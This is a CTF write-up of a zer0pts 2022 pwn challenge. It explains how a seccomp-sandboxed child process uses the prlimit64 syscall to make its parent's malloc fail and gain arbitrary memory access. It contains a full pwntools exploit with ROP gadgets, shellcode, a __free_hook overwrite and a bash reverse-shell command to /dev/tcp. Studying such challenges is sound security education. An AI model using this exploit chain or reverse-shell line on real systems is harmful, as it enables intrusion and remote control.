0x00 Prologue

This is a challenge in the zer0pts CTF 2022. It’s pity that I didn’t solve it in the game, but it’s supper worthy to write a single post for this challenge. I learned a lot in this challenge, including some unrelated knowledge. Yeah, I tried tons of wrong ways to solve it. And the official solution is really innovative for me, I guessed that but to be honest, I can’t confirm it because I never met this type of exploitation. It’s a long story, let’s start the awesome trip!

0x01 Analysis

attachment

zer0pts gives the full set-up environment, including the source code. I think this type of pure pwn is better for some challenges cuz people could reproduce the challenge easily.

int main() {
  ...
  if (cpid == 0) {

    /* Child process: sandboxed */
    close(c2p[0]);
    close(p2c[1]);
    setup_sandbox();
    child_note(c2p[1], p2c[0], ppid);

  } else {

    /* Parent process: unsandboxed */
    close(c2p[1]);
    close(p2c[0]);
    parent_note(c2p[0], p2c[1], cpid);
    wait(NULL);

  }
}

In the main function, the program would create two processes, child and parent. And use the pipe to implement the communication between the child and parent process. Also, the child process is protected by the bpf sandbox.

sandbox

I used the seccomp-tools to check the sandbox rules. This bpf is good in my view because it bans the i386 syscalls and large syscalls(+0x40000000). And find there is a black list of syscalls. This looks like a point we can use later.

$bin seccomp-tools dump ./chall
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0f 0x00 0x40000000  if (A >= 0x40000000) goto 0019
 0004: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0019
 0005: 0x15 0x0d 0x00 0x00000101  if (A == openat) goto 0019
 0006: 0x15 0x0c 0x00 0x0000003b  if (A == execve) goto 0019
 0007: 0x15 0x0b 0x00 0x00000142  if (A == execveat) goto 0019
 0008: 0x15 0x0a 0x00 0x00000055  if (A == creat) goto 0019
 0009: 0x15 0x09 0x00 0x00000039  if (A == fork) goto 0019
 0010: 0x15 0x08 0x00 0x0000003a  if (A == vfork) goto 0019
 0011: 0x15 0x07 0x00 0x00000038  if (A == clone) goto 0019
 0012: 0x15 0x06 0x00 0x00000065  if (A == ptrace) goto 0019
 0013: 0x15 0x05 0x00 0x0000003e  if (A == kill) goto 0019
 0014: 0x15 0x04 0x00 0x000000c8  if (A == tkill) goto 0019
 0015: 0x15 0x03 0x00 0x000000ea  if (A == tgkill) goto 0019
 0016: 0x15 0x02 0x00 0x00000136  if (A == process_vm_readv) goto 0019
 0017: 0x15 0x01 0x00 0x00000137  if (A == process_vm_writev) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

One key of this challenge is the backlist filter, I guessed that the author may want to share with us some attacking skills with some syscalls. But I failed to find that syscall during the game. In the game, I thought, that syscall may be related to the process control so I go through all the syscalls that have PID-related parameters and all the syscalls related to the “open”.

Interface and Core

void child_note(int c2p, int p2c, int ppid) {
  int res;
  request_t req;
  uint64_t value;

  print("1. new\n");
  print("2. set\n");
  print("3. get\n");
  ...
}

In the sandbox, the child process would provide an interface of the parent process. There is a manual in the child process. The child would take the input from the user. According to different inputs, the child process would generate a call different functions on the parent process. Btw, there is a buffer overflow in the child process but we can’t use it to get the flag because of the sandbox.

For this type of challenge, we usually try to control the child and make it to be a bad boy so that we can use it to send some evil api calls to trigger the vulnerability in the parent process.

  while (1) {
    if (read(c2p, &req, sizeof(req)) != sizeof(req))
      return;

    switch (req.cmd)
    {
      /* Create new buffer */
      case NEW: {
    ...

For the parent process, it would take the message from its child and parse it. But in my view, the parsing part is secure and there are so many checks to prevent bad value. There is no trust between this father and son.

        ...
        old = buffer;
        if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) {
          /* Memory error */
          size = -1;
          RESPONSE(-1);
          break;
        }
        ...

But something strange catches my attention after reading the code for 3 hours. In the new feature, the size could be set to -1 and it’s an unsigned int which means we could write/read arbitrary address by SET/GET. However, the story is not such easy.

I spent another 3 hours reviewing the malloc’s source code to find a way to return the “NULL”. In my memory, malloc would return a negative number on fail and return the address of the chunk if it works properly. And these 3 hours prove that we have no way to return a 0 by constructing a bad child call.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
enum Command {NEW, SET, GET};

typedef struct {
  enum Command cmd;
  union {
    size_t size;
    off_t index;
  };
  uint64_t value;
} request_t;

void parent_note(char *buf,size_t len) {
  int res;
  request_t req;

  uint64_t *old, *buffer = (uint64_t*)malloc(0);
  size_t size = 0;
  size_t p = 0;
  while (len>=0x18) {
    if (memcpy(&req,(char *)(buf+p),sizeof(req))!= sizeof(req))
    {
        free(buffer);
        return;
    }
    p += sizeof(req);
    if(p+0x18>=len)
    {
        free(buffer);
        return;
    }
    switch (req.cmd)
    {
      /* Create new buffer */
      case NEW: {
        if (req.size > 2800) {
          /* Invalid size*/
          //RESPONSE(-1);
          break;
        }

        /* Allocate new buffer */
        old = buffer;
        if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) {
          /* Memory error */
          size = -1;
          //RESPONSE(-1);
          //free(old);
          break;
        }

        /* Prevent memory leak */
        free(old);

        /* Update size */
        size = req.size;

        //RESPONSE(0);
        break;
      }

      /* Set value */
      case SET: {
        if (req.index < 0 || req.index >= size) {
          /* Invalid index */
          //RESPONSE(-1);
          break;
        }

        /* Set value */
        buffer[req.index] = req.value;

        //RESPONSE(0);
        break;
      }

      /* Get value */
      case GET: {
        if (req.index < 0 || req.index >= size) {
          /* Invalid index */
          //RESPONSE(-1);
          break;
        }
        //RESPONSE(0);

        /* Send value */
        //write(p2c, &buffer[req.index], sizeof(uint64_t));
        break;
      }

      default:
        free(buffer);
        return;
    }
  }
  free(buffer);
  return;
}

int LLVMFuzzerTestOneInput(char *Data, size_t Size) {
  parent_note(Data, Size);
  return 0;
}

And I even wrote a fuzzer for parent’s code. The result shows it’s secure.

0x02 Solution

  1. Leak the libc base. we can use it in the parent process because the child process would inherit the memory layout of the parent.
  2. Use Buffer overflow to control the child process
  3. Use some syscall in child to make parent’s malloc return 0
  4. Send some api call to write/read arbitrary addresses to hijack the parent process

We can combine two parts, the blacklist-filter, and the size=-1 to generate the above solution but I can’t implement it during the game because I can’t find a syscall to limit the parent process and I find the keystone of my solution in the official exp. That’s a syscall I missed in the game, prlimit64.

0x03 limit a process

Let’s start from the man page of this syscall/function.

int prlimit(pid_t pid, int resource, const struct rlimit *new_limit,
                   struct rlimit *old_limit);

Prlimit has 4 paremeters, ths first is easy to understand the target pid.

struct rlimit {
               rlim_t rlim_cur;  /* Soft limit */
               rlim_t rlim_max;  /* Hard limit (ceiling for rlim_cur) */
           };

The struct rlimit has two unsigned long elements, rlim_cur which represents the soft limit and rlim_max which is the hard limit. The hard limit is the limit of the soft limit, aka the soft limit should be lower than the hard limit. And the soft limit is the real limit to the resource.

By setting the second parameter, we can limit different types of resources of a process, such as CPU time/core, Address Space. And there are some of them are memory-related, including RLIMIT_STACK, RLIMIT_DATA, and RLIMIT_AS.

For RLIMIT_STACK the prlimit could limit the stack size and would generate a SIGSEGV when the stack is oversize.

If we set the stack size to 0 and try to allocate more stacks we would successfully get the SIGSEGV. I don’t have a good utility of the stack limitation while for RLIMIT_DATA and RLIMIT_AS we could return a NULL from the malloc or mmap. Btw, this NULL return value could only trigger by calling mmap and brk. Also, we could re-call prlimit to remove the limitation by setting rlim_cur to a very large number(rlim_cur is less than rlim_max).

#include <sys/resource.h>
#include <sys/time.h>
#include <stdio.h>
#include <sys/types.h>

int main()
{
        struct rlimit *new = malloc(sizeof(struct rlimit));
        new->rlim_cur = 0;
        new->rlim_max = 0;
        unsigned int res = prlimit(getpid(),RLIMIT_DATA,new,NULL);
        printf("%d\n",res);
        res = malloc(0x22222);
        printf("%d\n",res);
        return 0;
}

Moreover, I find RLIMIT_FSIZE may result in open failure and return a -1. Therefore, a return value check is necessary.

I also noticed that not only the parent and child process could limit each other, but a normal user’s process could influence another process in userspace. A very interesting feature!

0x04 Exploit Script

  1. The malloc chunk would include some garbage data, which could leak the libc base
  2. Use gadget in the glibc to perform rop: mmap, read shellcode, jump to shellcode
  3. Call prlimit64 to limit the address space
  4. Back to child_note and trigger the vulnerability to change the size to -1. My method is a little verbose. I trigger the brk by reallocating the top chunk.
  5. Hijack the __free_hook in parent process
  6. Call prlimit64 to remove the limit
  7. Malloc and free to RCE
from pwn import *
context.log_level='debug'
context.arch='amd64'
from subprocess import *

p=process('./pwn')
sla 	= lambda a,b: p.sendlineafter(a,b)
sa 		= lambda a,b: p.sendafter(a,b)
ru 		= lambda a: p.readuntil(a)
sl 	    = lambda a,b: p.sendafter(a,b)

def cmd(c):
    sla("> ",str(c).encode())
def add(size,):
    cmd(1)
    sla(": ",str(size).encode())
def edit(idx,val):
    cmd(2)
    sla(": ",str(idx).encode())
    sla(": ",str(val).encode())
def show(idx):
    cmd(3)
    sla(": ",str(idx).encode())
    
def debug():
    log.warning("attach "+str(1+pidof(p)[0]))
    input()
    
add(0x88)
add(0x88)
add(0x88)
show(0)
ru(b"array[0] = ")
base = int(p.readline())-(0x7ffff7fadbe0-0x7ffff7dc1000)
log.warning(hex(base))
#gdb.attach(p)
# gdb.attach(p,'''
# b *0x555555555442
# ''')
pay=b"1"+b'\0'*0x27
cmd(2)


libc = ELF("./libc-2.31.so")
libc.address = base
rax = 0x0000000000047400+base
rdi = 0x0000000000023b72+base
ret = 0x0000000000022679+base
rsi = 0x000000000002604f+base
rdx_rcx_rbx = 0x00000000001025ad+base
rdx = 0x000000000015f7e6+base # rbx
r8 = 0x0000000000153218+base# mov r8,rax; mov rax,r8; pop rbx; ret
MMAP = 0xdeadbeef000
payload  = [rdi,MMAP,rsi,0x1000,rdx_rcx_rbx,0x7,0x22,0,rax,0,r8,0,libc.sym['mmap']]
payload += [rdi,0,rsi,MMAP,rdx,0x100,0,libc.sym['read'],0xdeadbeef000]
payload = flat(payload)

#sl(": ",b"1\n")
sl(": ",pay+payload)
input()
sh ='''
mov rax,0x6e
syscall
mov rdi,rax
mov rsi,9
mov rdx,0x123400000000
push rdx
xor rdx,rdx
push rdx
mov rdx,rsp
mov r10,0
mov rax,0x12e
syscall
'''
# getpid + prlimit64 finished
sh +='''
mov rdi,1
mov rsi,{}
mov rdx,0x8
mov rax,1
syscall
'''.format(0x7ffff7fb0600-0x7ffff7dc1000+base)

sh +='''
mov rax,[{}]
add rax,0x1443
push rax
mov rdi,0x4
mov rsi,0x5
ret
'''.format(0x7ffff7ffe190-0x7ffff7dc1000+base)
# return to child_main

p.send(asm(sh))
stack = u64(p.read(8))
for x in range(0x410//8):
    add(x)
    add(x)
add(0x419//8)
add(0x419//8)
add(0x429//8)
add(0x849//8)
add(0xc79//8)
add(0x14c9//8)
add(0x2140//8)
add(2800)
add(2800)
log.warning(hex(stack))
target = stack -0x140
edit(target//8,libc.sym['__free_hook'])
edit(0,libc.sym['system'])
bss = 0x00007ffff7fb5000-0x7ffff7dc1000+base-0x100
add(2800)
edit(target//8,bss)

res = b"/bin/bash -c 'bash -i >/dev/tcp/127.0.0.1/4444 0>&1'"
#res = b"echo 1 > 1;"
res = res.ljust(64,b"\0")
for x in range(8):
    print(x,u64(res[x*8:x*8+8]))
    edit(x,u64(res[x*8:x*8+8]))
cmd(2)
#debug()

sl(": ",pay+payload)

#gdb.attach(p,'b execve')
input()
sh ='''
mov rax,0x6e
syscall
mov rdi,rax
mov rsi,9
mov rdx,0x123400000000
push rdx
push rdx
mov rdx,rsp
mov r10,0
mov rax,0x12e
syscall
'''
sh +='''
mov rax,[{}]
add rax,0x1443
push rax
mov rdi,0x4
mov rsi,0x5
ret
'''.format(0x7ffff7ffe190-0x7ffff7dc1000+base)
p.send(asm(sh))
#gdb.attach(p)
add(0x1)
p.interactive()

0x05 Summary

This challenge is interesting, cuz before the first blood was got by Shellphish I can’t believe it’s solvable and I did check the attachment so many times, lol. Yeah, after solving this, I think there are enough clues left in the challenge, the blacklist, and the meaningless -1 for unsigned int. This challenge is not complex but educational and it’s a good challenge in my view.

Another fun fact, this type of vulnerability is not likely found by the fuzzer. Because the fuzzer can’t even trigger the branch! I believe there are so many of these types of vulnerabilities in the real world. And this challenge’s solution introduces a new way to implement some “impossible” attacking.

Anyway, glad to play with this challenge, thanks zer0pts!